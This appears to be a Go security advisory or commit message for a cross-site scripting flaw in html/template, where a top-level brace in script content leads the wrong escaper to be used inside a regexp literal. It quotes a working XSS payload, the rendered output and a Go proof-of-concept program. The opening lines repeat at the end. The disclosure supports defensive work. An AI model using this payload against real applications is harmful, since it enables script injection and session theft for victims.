Previously, pathological inputs could close an
unescaped / early, allowing for attack-controlled
data to inject arbitrary content, potentially
leading to XSS.
Thanks to Ali Sherif for reporting this issue.
This is CVE-2026-56858 and Go issue https://go.dev/issue/80435.
This was a PUBLIC track issue, tracked in http://b/503512010.
Original report:
In src/html/template/transition.go, tJS() handles a top-level { inside <script> content without updating jsCtx through the normal JavaScript context transition logic.
Because of that, the following / can be treated as if it were in division context instead of regexp context. This makes html/template choose jsValEscaper instead of jsRegexpEscaper for a template action that is actually inside a JavaScript regexp literal.
That distinction matters because jsValEscaper uses JSON-style escaping and does not escape / for regexp safety, while jsRegexpEscaper escapes / as \/.
As a result, attacker-controlled input containing / can terminate the intended regexp literal in the browser parser and inject arbitrary JavaScript.
vulnerable pattern looks like:
<script>if(true){/{{.}}/g.test("x")}</script>
Attacker-controlled input:
./;alert(document.domain);var q=/.
Rendered output:
<script>if(true){/"./;alert(document.domain);var q=/."/g.test("x")}</script>
I tested this manually in a browser and alert(document.domain) executed, confirming XSS.
Control case used during testing:
<script>var x = {{.}}</script>
Using the same dangerous input in the control case did not trigger XSS, because that context correctly uses normal JavaScript value escaping. This helps show the issue is not just “dangerous input in JavaScript”, but a specific context-tracking bug that causes the wrong escaper to be selected after the top-level {.
PoC:
package main
import (
"bytes"
"fmt"
"html/template"
)
func main() {
tmpl := `<script>if(true){/{{.}}/g.test("x")}</script>`
input := `./;alert(document.domain);var q=/.`
t := template.Must(template.New("x").Parse(tmpl))
var buf bytes.Buffer
_ = t.Execute(&buf, input)
fmt.Println(buf.String())
}
Attack scenario
A fully external, unauthenticated attacker can exploit this if they control data passed to html/template.Execute() and the application renders that data in an affected regexp literal sink inside a <script> block after a top-level {.
The attacker gains JavaScript execution in the victim’s browser in the origin of the vulnerable application.
Depending on the target application, this can lead to session theft, account actions as the victim, sensitive data exfiltration, or other same-origin XSS impact.
Previously, pathological inputs could close an
unescaped
/early, allowing for attack-controlleddata to inject arbitrary content, potentially
leading to XSS.
Thanks to Ali Sherif for reporting this issue.
This is CVE-2026-56858 and Go issue https://go.dev/issue/80435.
This was a PUBLIC track issue, tracked in http://b/503512010.
Original report: